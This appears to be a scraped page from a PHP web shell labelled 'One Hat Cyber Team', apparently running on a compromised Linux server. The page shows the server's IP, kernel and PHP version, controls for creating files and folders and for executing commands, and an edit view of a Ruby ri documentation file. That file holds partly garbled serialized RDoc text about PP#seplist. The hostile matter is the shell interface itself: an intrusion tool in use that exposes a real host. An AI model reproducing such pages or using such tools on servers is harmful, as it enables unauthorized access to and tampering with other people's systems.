⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
PP
/
PPMethods
/
Edit File: seplist-i.ri
U:RDoc::AnyMethod[iI"seplist:ETI"PP::PPMethods#seplist;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"Adds a separated list. ;TI"EThe list is separated by comma with breakable space, by default.;To:RDoc::Markup::BlankLine o; ; [I"7#seplist iterates the +list+ using +iter_method+. ;TI"<It yields each object to the block given for #seplist. ;TI"BThe procedure +separator_proc+ is called between each yields.;T@o; ; [I"KIf the iteration is zero times, +separator_proc+ is not called at all.;T@o; ; [I".If +separator_proc+ is nil or not given, ;TI"++lambda { comma_breakable }+ is used. ;TI"2If +iter_method+ is not given, :each is used.;T@o; ; [I"@For example, following 3 code fragments has similar effect.;T@o:RDoc::Markup::Verbatim; [I"%q.seplist([1,2,3]) {|v| xxx v } ;TI" ;TI"Jq.seplist([1,2,3], lambda { q.comma_breakable }, :each) {|v| xxx v } ;TI" ;TI"xxx 1 ;TI"q.comma_breakable ;TI"xxx 2 ;TI"q.comma_breakable ;TI" xxx 3;T:@format0: @fileI"lib/pp.rb;T:0@omit_headings_from_table_of_contents_below00I"element;T[ I"'(list, sep=nil, iter_method=:each);T@+FI"PPMethods;TcRDoc::NormalModule00
Simpan